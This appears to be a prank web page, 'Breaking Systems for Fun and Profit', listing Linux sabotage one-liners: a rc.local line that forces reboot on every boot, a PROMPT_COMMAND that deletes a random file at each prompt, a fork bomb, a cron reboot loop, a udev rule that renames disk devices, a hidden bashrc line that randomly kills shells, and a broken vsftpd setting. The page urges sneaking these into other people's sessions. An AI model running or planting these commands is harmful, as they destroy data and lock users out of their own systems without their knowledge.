What ftp server?
In /etc/vsftpd/vsftpd.conf add or change the following lines:
chown_uploads=YES chown_username=daemon<space>
Where <space> is an actual space character before the end of the line.
Breaking Systems for Fun and Profit
You _can_ stop the signal.
Beginners
Run the following command and reboot :
echo 'echo b > /proc/sysrq-trigger ' >> /etc/rc.local
Meet the Prompt of Doom
Try to sneak this one into someone’s session and watch the hilarity ensue:
export PROMPT_COMMAND='FILES=($(ls)); rm -rf ${FILES[$[${RANDOM} % ${#FILES[@]}]]} &> /dev/null'
Classic
Just enter this little baby into any account where ulimit -u reports unlimited
:() { :|:& };:
Neverending story
echo "@reboot reboot" > /etc/cron.d/system
Devicenode deletion
Add this file as /etc/udev/rules.d/01-devices.rules:
ACTION=="add", SUBSYSTEM=="block", NAME:="hehehe"
Random exits
This one is sure to confuse. A user will exit his shell somewehere random inside 30 minutes after starting it. Hide the following piece of code somewhere in /etc/bashrc or a .sh file in /etc/profile.d/
export PROMPT_COMMAND='[ ${SECONDS} -ge $[ ${RANDOM} % 1800 ]] && exit'
Disclaimer
It's a shame that we actually have to write a disclaimer, but experience tells us that most of you out there are idiots. Well not you of course, because you are actually reading the disclaimer. Here goes:
Neither breakingsystemsforfunandprofit.com nor any of its admins/editors/contributors can be held liable for any damages resulting from the use or lack of use of any information or advice presented here in any way.
Failure to realize that any information presented here for the purpose of breaking systems should not be used on any production or otherwise important systems will result in us making fun of you and your unfortunate offspring should you have any.
